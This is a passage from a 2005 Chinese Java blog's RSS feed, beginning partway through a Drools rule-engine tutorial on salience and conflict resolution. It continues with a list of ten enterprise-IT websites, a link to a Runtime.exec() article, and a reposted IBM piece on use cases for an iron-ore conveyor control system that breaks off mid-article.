<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rule is activated --&gt;<BR>&nbsp;&nbsp; &lt;java:consequence&gt; <BR>&nbsp;&nbsp;&nbsp;&nbsp; stockOffer.setRecommendPurchase(<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; StockOffer.NO);&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp; printStock(stockOffer);<BR>&nbsp;&nbsp; &lt;/java:consequence&gt;<BR>&nbsp; &lt;/rule&gt;</FONT></EM></P>
<P>&nbsp;&nbsp;&nbsp; 注意业务规则文件，在 rule name 后面，我们把 salience 设置成 -1（到目前为止了解的最低优先级）。大多数规则在系统中是冲突的，这意味着 Drools 必须为规则的执行顺序做判断，假设这些条件都与规则匹配。默认的判断方式是：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; Salience：赋予的值。<BR>&nbsp;&nbsp;&nbsp; Recency：使用规则的次数。<BR>&nbsp;&nbsp;&nbsp; Complexity：首先执行有复杂值的特定规则。<BR>&nbsp;&nbsp;&nbsp; LoadOrder：规则载入的顺序。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 如果没有显示的在规则中详细指明，将会发生：<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; XYZ 公司规则（"当价格高于 10 欧元就不购买 XYZ 的股票"）将先执行（Recommend Buy 标志被设置为 No）。<BR>&nbsp;&nbsp;&nbsp; 接着更多的一般规则（"购买所有 100 欧元以下的股票"）被执行，把 Recommend Buy 标志设置为 yes。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 这会给我们一个不想要的结果。然而，一旦在范例中设置了 saliency 要素，最终的测试和业务规则将像预期的那样顺利运行。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 大多数时间，编写清晰的规则和设置 saliency 将给 Drools 足够信息以选择合适的顺序执行规则，有时我们想改变整个规则冲突处理方式。下面的例子说明了如何改变，告诉规则引擎首先执行最简单的规则。要注意的是：改变冲突解决方案要小心，它可能从根本上改变规则引擎的行为。<BR>&nbsp;&nbsp;&nbsp; <BR><EM><FONT color=#000080>&nbsp; //Generate our list of conflict resolvers<BR>&nbsp; ConflictResolver[] conflictResolvers = <BR>&nbsp;&nbsp;&nbsp; new ConflictResolver[] {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SalienceConflictResolver.getInstance(),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RecencyConflictResolver.getInstance(),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SimplicityConflictResolver.getInstance(),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LoadOrderConflictResolver.getInstance()<BR>&nbsp;&nbsp;&nbsp; };<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; //Wrap this up into one composite resolver<BR>&nbsp; CompositeConflictResolver resolver = <BR>&nbsp;&nbsp;&nbsp; new CompositeConflictResolver(<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; conflictResolvers);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp; //Specify this resolver when we load the rules<BR>&nbsp; businessRules = RuleBaseLoader.loadFromUrl(<BR>&nbsp;&nbsp;&nbsp; BusinessLayer.class.getResource( <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BUSINESS_RULE_FILE),resolver);</FONT></EM></P>
<P>&nbsp;&nbsp;&nbsp; 我们的简单应用由 JUnit 测试驱动，我们不必改变 Drools 处理规则冲突的方式。知道冲突解决方案怎样运作是很有用的，尤其当你的应用为了迎合更复杂、更苛刻的需求时。<BR>&nbsp;&nbsp;&nbsp; <BR><FONT size=4><STRONG>结束<BR></STRONG></FONT>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 本文示范了大部分程序员不得不面对的问题：怎样安排复杂业务逻辑的顺序。我们示范了一个使用 Drools 作为解决方案并引入基于规则编程概念的简单应用，包括了怎样在运行时处理规则。接着，后续文章使用这些技术并展示了怎样在企业级 Java 应用中使用。<BR><BR><BR><STRONG><FONT face=宋体 color=#ff0000 size=2>请注意！引用、转贴本文应注明原译者：Rosen Jiang 以及出处：</FONT></STRONG><A href="http://www.blogjava.net/kapok/rosen/rosen"><FONT face=宋体 color=#ff0000 size=2><STRONG>http://www.blogjava.net/rosen</STRONG></FONT></A></P><img src ="http://www.blogjava.net/kapok/aggbug/12783.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-12 22:11 <a href="http://www.blogjava.net/kapok/archive/2005/09/12/12783.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>谢谢八哥推荐</title><link>http://www.blogjava.net/kapok/archive/2005/09/09/12587.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Fri, 09 Sep 2005 09:12:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/09/12587.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/12587.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/09/12587.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/12587.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/12587.html</trackback:ping><description><![CDATA[<A href="http://blog.hjenglish.com/yzm1986041/archive/2005/08/10/104297.aspx">http://blog.hjenglish.com/yzm1986041/archive/2005/08/10/104297.aspx</A><img src ="http://www.blogjava.net/kapok/aggbug/12587.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-09 17:12 <a href="http://www.blogjava.net/kapok/archive/2005/09/09/12587.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>10links</title><link>http://www.blogjava.net/kapok/archive/2005/09/08/12464.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 08 Sep 2005 14:40:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/08/12464.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/12464.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/08/12464.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/12464.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/12464.html</trackback:ping><description><![CDATA[&nbsp;信息化是目前正如火如荼的展开，CIO是企业信息化的领导者，肩负着企业信息化的重任。CIO需要全面了解信息，网络的发展提供了分享信息资源的机会。这里列出了国内信息化的十大网站，仅供参考。计算机世界网、赛迪网、天极网三个网站是计算机门户网站，涉及到计算机行业的方方面面，这里主要介绍的是它们的信息化频道；AMT、支点网两个网站主要是信息化网站，包括信息化领域的各种知识，比如：ERP,CRM,SCM,BI,KM等。E-Works、ERP世界网、客户世界、中国商业智能网、知识管理中心等网站都是在信息化的某一专门领域具有突出的优势。E-Works的优势是制造业信息化，ERP世界网的优势是ERP(企业资源计划)，客户世界的优势是CRM(客户关系管理), 中国商业智能网的优势是BI(商业智能), 知识管理中心的优势是KM(知识管理)。<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;第一：计算机世界网<BR>&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;计算机世界网一向是国内计算机行业的领头羊，其中涉及到软硬件等多种知识，其中涉及到信息化的是cio频道，信息化涉及到的各领域，该网站都有涉及，而且多原创文章，是公认的信息化权威网站。<BR>&nbsp;&nbsp;&nbsp;&nbsp;网址：http://www.ccw.com.cn　　<BR>&nbsp;&nbsp;&nbsp;&nbsp;网站特色：原创文章、综合信息化知识<BR>　　&nbsp;&nbsp;&nbsp;&nbsp;推荐指数：★★★★★<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;第二：赛迪网<BR>&nbsp;&nbsp;&nbsp;&nbsp;该站也涉及到软硬件等多种知识，依托政府背景，在业内的影响力颇大。该站的信息化频道叫中国信息化，虽然内容更新不快，但是对于各种评测和调查都有权威部门支持，做出的行业分析报告是一大特色。<BR>&nbsp;&nbsp;&nbsp;&nbsp;网址：http://www.ccidnet.com <BR>　　&nbsp;&nbsp;&nbsp;&nbsp;网站特色：行业分析报告、综合信息化知识<BR>&nbsp;&nbsp;&nbsp;&nbsp;推荐指数：★★★★☆<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;第三：天极网<BR><BR>　　&nbsp;&nbsp;&nbsp;&nbsp;天极网涉及到计算机软硬件知识，它的信息化频道叫e企业，主要是收购国内的老牌网站chinabyte而来，该频道也涉及到多种信息化的知识，更新比较快，有很多原创文章，也会转载一些有价值的文章。<BR>&nbsp;&nbsp;&nbsp;&nbsp;网址：http://www.yesky.com <BR>　　&nbsp;&nbsp;&nbsp;&nbsp;网站特色：行业分析报告、综合信息化知识<BR>&nbsp;&nbsp;&nbsp;&nbsp;推荐指数：★★★★☆<BR><BR><BR>　　&nbsp;&nbsp;&nbsp;&nbsp;第四： AMT<BR><BR>　　&nbsp;&nbsp;&nbsp;&nbsp;说AMT是信息化网站，不如说它是一个管理网站。有众多的管理人士和咨询人士聚集此处。AMT是综合性的信息化网站,涉及到信息化的众多领域，附属的AMT研究院拥有众多的专家，发表了大量的原创稿件。<BR>&nbsp;&nbsp;&nbsp;&nbsp;网址：http://www.amteam.org <BR>　&nbsp;&nbsp;&nbsp;&nbsp;网站特色：原创文章、丰富的管理文章<BR>　&nbsp;&nbsp;&nbsp;&nbsp;推荐指数：★★★★★<BR><BR><BR>&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;第五： 　支点网<BR><BR>　&nbsp;&nbsp;&nbsp;&nbsp;支点网是综合性的信息化网站，包括了众多领域的信息化知识，原创文章较多。<BR>&nbsp;&nbsp;&nbsp;&nbsp;网址：http://www.topoint.com.cn <BR>　&nbsp;&nbsp;&nbsp;&nbsp;网站特色：全面的信息化知识<BR>　&nbsp;&nbsp;&nbsp;&nbsp;推荐指数：★★★★☆<BR>　&nbsp;&nbsp;&nbsp;&nbsp;<BR><BR>　　&nbsp;&nbsp;&nbsp;&nbsp;第六： E-Works制造业信息化门户<BR><BR>　　&nbsp;&nbsp;&nbsp;&nbsp;非常棒的制造业信息化门户网站，它的特色就在于制造业，而且其他方面的知识(如：erp,crm等)也很不错。<BR>&nbsp;&nbsp;&nbsp;&nbsp;网址：http://www.e-works.net.cn<BR>　&nbsp;&nbsp;&nbsp;&nbsp;网站特色：制造业信息化知识<BR>　&nbsp;&nbsp;&nbsp;&nbsp;推荐指数：★★★★☆<BR>　&nbsp;&nbsp;&nbsp;&nbsp;<BR><BR>　　&nbsp;&nbsp;&nbsp;&nbsp;第七： ERP世界网<BR><BR>　&nbsp;&nbsp;&nbsp;&nbsp;ERP世界网涉及到的领域相对较少，其主要特色是erp，但是最近也增加了其他领域的知识。<BR>&nbsp;&nbsp;&nbsp;&nbsp;网址：http://www.erpworld.net <BR>　&nbsp;&nbsp;&nbsp;&nbsp;网站特色：ERP信息化知识<BR>　&nbsp;&nbsp;&nbsp;&nbsp;推荐指数：★★★★<BR>　&nbsp;&nbsp;&nbsp;&nbsp;<BR><BR>　　&nbsp;&nbsp;&nbsp;&nbsp;第八：客户世界<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;客户世界主要涉及到CRM和呼叫中心，在客户管理方面拥有优势。<BR>&nbsp;&nbsp;&nbsp;&nbsp;网址：http://www.ccmworld.net<BR>　&nbsp;&nbsp;&nbsp;&nbsp;网站特色：客户管理<BR>　&nbsp;&nbsp;&nbsp;&nbsp;推荐指数：★★★★<BR>　&nbsp;&nbsp;&nbsp;&nbsp;<BR><BR>　　&nbsp;&nbsp;&nbsp;&nbsp;第九：中国商业智能网<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;商业智能是新兴的信息化领域，中国商业智能网是该领域的唯一网站，拥有众多的人气，受到金融、电信、保险、零售等行业的一些用户关注。<BR>&nbsp;&nbsp;&nbsp;&nbsp;网址：http://www.chinabi.net <BR>&nbsp;&nbsp;&nbsp;&nbsp;网站特色：商业智能<BR>&nbsp;&nbsp;&nbsp;&nbsp;推荐指数：★★★★<BR><BR><BR>　　&nbsp;&nbsp;&nbsp;&nbsp;第十：知识管理中心 <BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;知识管理也是最近的热门话题，知识管理中心是该领域的权威站点，也是该领域的唯一站点，受到众多人士的欢迎。<BR>&nbsp;&nbsp;&nbsp;&nbsp;网址：http://www.kmcenter.org <BR>&nbsp;&nbsp;&nbsp;&nbsp;网站特色：知识管理<BR>&nbsp;&nbsp;&nbsp;&nbsp;推荐指数：★★★★<BR><img src ="http://www.blogjava.net/kapok/aggbug/12464.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-08 22:40 <a href="http://www.blogjava.net/kapok/archive/2005/09/08/12464.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>When Runtime.exec() won't </title><link>http://www.blogjava.net/kapok/archive/2005/09/08/12455.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 08 Sep 2005 10:35:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/08/12455.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/12455.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/08/12455.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/12455.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/12455.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: http://www.javaworld.com/javaworld/jw-12-2000/jw-1229-traps.htmlWhen Runtime.exec() won't Navigate yourself around pitfalls related to the Runtime.exec() methodSummary-->SummaryIn this install...&nbsp;&nbsp;<a href='http://www.blogjava.net/kapok/archive/2005/09/08/12455.html'>阅读全文</a><img src ="http://www.blogjava.net/kapok/aggbug/12455.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-08 18:35 <a href="http://www.blogjava.net/kapok/archive/2005/09/08/12455.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> 把用例应用到实时系统中的实践 </title><link>http://www.blogjava.net/kapok/archive/2005/09/07/12275.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Tue, 06 Sep 2005 16:23:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/07/12275.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/12275.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/07/12275.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/12275.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/12275.html</trackback:ping><description><![CDATA[<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR vAlign=top>
<TD width=2></TD>
<TD><SPAN class=atitle>把用例应用到实时系统中的实践<BR><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/">http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/</A></SPAN></TD>
<TD width=8><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=8 border=0></TD>
<TD align=right width=180><NOBR>
<TABLE cellSpacing=0 cellPadding=0>
<TBODY>
<TR vAlign=top>
<TD align=right></TD>
<TD width=46>
<FORM action=https://www-130.ibm.com/developerworks/secure/email-it.jsp><INPUT type=hidden value=本文介绍了一个真实的范例，然后讨论了在把用例用来定义实时系统的规格时遇到的问题，以及相关的经验学习。 name=body><INPUT type=hidden value=把用例应用到实时系统中的实践 name=subject><INPUT type=hidden value=cn name=lang><INPUT type=image src="http://www-128.ibm.com/developerworks/cn/i/icon-email.gif" border=0 name=email></FORM></TD></TR></TBODY></TABLE></NOBR></TD>
<TD width=6><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=6 border=0></TD></TR>
<TR vAlign=top>
<TD bgColor=#000000 colSpan=5><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=100 border=0></TD></TR>
<TR vAlign=top>
<TD bgColor=#ffffff colSpan=5><IMG height=8 alt="" src="http://www.ibm.com/i/c.gif" width=100 border=0></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR vAlign=top>
<TD width=5><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=5 border=0></TD>
<TD width="100%">
<TABLE cellSpacing=0 cellPadding=0 width=168 align=right border=0>
<TBODY>
<TR>
<TD width=8><IMG height=21 alt="" src="http://www.ibm.com/i/c.gif" width=5></TD>
<TD width=160>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD width=160 bgColor=#000000 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD align=middle background=/developerworks/cn/i/bg-gold.gif height=5><B>内容：</B></TD></TR>
<TR>
<TD width=160 bgColor=#666666 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N10038">概述</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N1004C">为什么我们需要这篇文章？</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N1005A">什么是实时系统的特点？</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N1006B">产品传送系统(PT)项目</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N10099">PT系统的用例模型</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N10161">结构化用例</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N10190">补充需求</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N101D7">用例的益处</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N101F7">用例贯穿整个项目</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N1026C">经验学习</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#N102BC">总结</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR><!--Standard links for every dw-article-->
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/#rating">对本文的评价</A></TD></TR>
<TR>
<TD><IMG height=10 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD width=160 bgColor=#000000 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD align=middle background=/developerworks/cn/i/bg-gold.gif height=5><B>订阅:</B></TD></TR>
<TR>
<TD width=160 bgColor=#666666 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=1 width=160 border=0>
<TBODY>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/newsletter/">developerWorks 时事通讯</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/rationaledge/">The Rational Edge</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD width=150 bgColor=#000000 colSpan=2 height=2><IMG height=2 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD width=150 bgColor=#ffffff colSpan=2 height=2><IMG height=2 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<P><NAME>Kerry</NAME><BR><BR>2004 年 11 月 </P>
<BLOCKQUOTE>本文介绍了一个真实的范例，然后讨论了在把用例用来定义实时系统的规格时遇到的问题，以及相关的经验学习。</BLOCKQUOTE>
<P><A name=N10038><SPAN class=atitle2>概述</SPAN></A><BR>本文基于我去年为客户开发一个实时控制系统的工作。</P>
<P>本文的目标是：第一，重点描述实时系统规格的确定和用例之间的关系；第二，描述我们如何开发用例模型以及应用用例给我们带来了哪些益处。</P>
<P>要说明的第一件事情是为什么我们需要类似这样的一篇文章，然后我们再说明用用例来描述实时系统有哪些特殊之处。</P>
<P>在叙述为什么需要本文之后，我将描述一个具体项目和它的用例模型。我将重点描述用例模型的一些有趣的和有意义的特性，然后看看它们是如何有益于项目的。最后，我将讨论一些经验学习，并给出一些建议。</P>
<P><A name=N1004C><SPAN class=atitle2>为什么我们需要这篇文章？</SPAN></A><BR>有一种看法认为用例只对你描述高度交互的系统有用，这些系统以IT系统为代表，如银行系统。例如，在银行中你可能需要处理一个抵押应用，它会有大量的用户交互。对于实时系统来说，并不存在那么多的用户交互。但是，如果实时系统具有有意义的外部可视的行为，用用例描述仍然对定义它们的规格是有用的，即使在一些用例中用户只是选择一些设置以及告诉系统完成一些功能。</P>
<P>在为客户工作了这么多年来，我发现用例被广泛地误解。尽管有很多与之相关的书籍、文章和培训课程。可能这些书籍、文章和培训课程都只关注于问题，因此它们提供大量的不同的方法。在这些著作中经常提到的一个例子是自动柜员机(ATM)。类似这样的例子对于说明一些问题是有用的，但在处理很大而且很复杂的实际系统时却通常没有明显的帮助。在实时系统中你将怎样处理出现的问题？有一些实际的例子可以对你有所帮助，本文恰恰可以给你提供这样一个实际的例子。</P>
<P><A name=N1005A><SPAN class=atitle2>什么是实时系统的特点？</SPAN></A><BR>实时系统就是时间是最关键因素的系统。如果一个系统不理会它的时间需求，将可能导致生命危险，例如造成飞机失事。简单来说，对于这样的系统，对于时间需求处理的失败将可能导致产品的损害和上百万美元的损失。</P>
<P>实时系统也有最小限度的用户交互，对于这类系统怎么样定义它的用例是一件值得考虑的事情。实时系统通常都是高度算法化的，用例可能并不是最好的描述算法的文档方法。典型地，一个用例将引用在其它地方描述的算法。</P>
<P>如果你的系统具有有效的外部可视行为，那么用例能够极大地帮助你文档化你的系统需求。下面我描述的系统就有大量外部可视行为。在IT系统中应用用例的规则在这里仍然适用。</P>
<P><A name=N1006B><SPAN class=atitle2>产品传送系统(PT)项目</SPAN></A><BR>用户是一个全球最大的铁矿生产商，它在澳大利亚西北的Headland港拥有一套铁矿传送工厂。铁矿从传送带网络传送到火车车厢，然后分类，称重，保存在仓库。最后铁矿从仓库中运出，再通过传送带运送到船上。</P>
<P>这个系统中每个东西都很大。有的传送带有7公里长，需要15分钟才能启动。运行传送带网络需要一个复杂的控制系统。对控制系统的一个需求是减少运行系统需要的人数。另一个需求是降低对运行系统的人的培训需求。图1是工厂的航拍图。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig1.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图1：</B> Hedland港工厂的航拍图 
<P>在左上角有一个船泊位。你可以看到有铁路线从右边连过去。卸货场在接近于中间的垂直线附近。在这个线的顶端是粉碎机。你可以在北面和南面的院子里看到仓库。传送带运行在卸货场和粉碎机，以及粉碎机和仓库之间。 你可以看到运输机从仓库装上铁矿，把它运到船上。运输机的容量非常大。在这个系统中，传送带可以在一小时内传送10000吨的铁矿！</P>
<P>有一些能够增加系统复杂度的需求非常值得关注。控制系统在避免溢出的情况下要达到最大的生产能力。出口容量在2004年从每年67M（百万）吨增加到81M吨，到2011年将扩大到90M吨。</P>
<P><A name=N10088><SPAN class=atitle3>基本概念：作业(route)</SPAN></A><BR>一个作业(route)由一系列传送带、定位和反馈设备组成，这些设备被选择和调配以便把铁矿从源位置运送到目标位置。作业可以是单独的，也可以共享设备以便允许把铁矿分开运输，从一个源位置运送到多个目标位置，或者组合运输，从多个源位置运送到一个目标位置。这些作业由操作员创建、维护和删除。一旦操作员启动作业，系统就开始工作，按照正确的顺序启动每个工作，以及处理一些异常状态例如有不合适的产品已经在传送带上。</P>
<P>为了达到生产力的需求，控制系统采用激进的启动和错误处理策略。尽管已经存在的系统在一个时间点一个作业只能启动一条传送带，当它达到最大速度后，再启动下一条，依此类推。 新的控制系统在一个作业中将同时启动所有的传送带－－注意我们的传送带的长度不同，启动时间和容量也不同。在出现问题时，新的系统试图尽可能关闭最少数量的设备以避免溢出，因为启动一个长的传送带需要15分钟。无论什么可能情况，设备都将保持运行，直到铁矿有可能溢出为止。系统需要同时运行作业，以便矿石能够传送到多个目标位置或者把矿石从多个源位置组合到一个位置。</P>
<P>设备失败的处理是全自动的。当一个传送带一小时可以传送超过10000吨矿石时，你可以想象出现问题时不能很快停下传送带的后果。这个结果并不是你可以用独轮车能够清理干净的！你将不得不使用一些重型设备来清理那些溢出的矿石，而且需要花费很长的时间。甚至有更坏的结果，比如一个错误导致矿石已经倒进了船的甲板上。</P>
<P><A name=N10099><SPAN class=atitle2>PT系统的用例模型</SPAN></A><BR>本文的工作基于IBM(r) Rational Unified Process(r) (RUP(r))和一本名为“用例建模”的书，这本书由Kurt Bittner和Ian Spence合著。用例是一个可供选择的写需求的方法。在过去，我们基于一个词"shall"来书写这些声明。在几年前我曾经在一个国防项目工作，它包括22卷需求文档，没有人能够真正全部理解它们。确认所有的需求描述是正确的和一致的是一件非常困难的事情。用例可以帮助我们处理这类问题。用例把需求放在系统提供给用户和有关人员的上下文中。 按照顺序描述每个用例以消除上下文的冗余，这些冗余在用传统的基于"shall"的需求描述方法中是必然包括的。</P>
<P>这里仅仅描述用例模型的一些特点，因为全部模型太大，也太复杂。用例的规范非常长，也非常细致。</P>
<P><A name=N100A7><SPAN class=atitle3>识别角色(actor)</SPAN></A><BR>在整个操作开始前主要工作集中在识别角色是非常重要的，因为它可以确定系统的边界，清楚地指示哪些是在系统范围内，哪些在系统范围外。我们不想开发那些我们没有必要付钱的东西。在PT系统中，运输机是一个我们需要交互的系统。这里我们只需要知道运输机干什么工作，并不需要控制它如何工作，我们也不需要修改它。既然我们不控制运输机，它就在我们的系统范围之外，作为一个角色模型存在。我们有Ship-Hatch Loaders, Stackers, Sampling Stations 和Dust Control Systems - 所有这些外部系统都作为角色模型。图2显示部分这个系统的角色。</P><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/rational/r-uc-rt/3095_fig2.jpg" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <BR xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">图 2:</B> PT系统角色 
